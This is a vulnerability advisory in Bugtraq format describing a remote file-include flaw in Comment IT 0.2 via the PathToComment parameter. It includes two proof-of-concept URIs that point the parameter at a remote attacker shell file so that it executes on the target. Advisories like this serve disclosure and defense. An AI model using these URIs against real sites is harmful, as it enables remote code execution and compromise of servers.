Comment IT PathToComment Parameter Remote File Include Vulnerability

Bugtraq ID:	20739
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 25 2006 12:00AM
Updated:	Oct 26 2006 03:43PM
Credit:	CoLd Zero is credited with the discovery of this vulnerability.
Vulnerable:	comscripts.com Comment IT 0.2
Not Vulnerable:

Comment IT PathToComment Parameter Remote File Include Vulnerability

Comment IT is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Comment IT 0.2 is vulnerable.

Comment IT PathToComment Parameter Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[CommentIT_path]/classes/class_admin.php?PathToComment=http://ColdZero-Shell.txt
http://www.example.com/[CommentIT_path]/classes/class_comments.php?PathToComment=http://ColdZero-Shell.txt

• /data/vulnerabilities/exploits/20731.php

Comment IT PathToComment Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Comment IT PathToComment Parameter Remote File Include Vulnerability

References:

• Comment IT Web Site (Comment IT)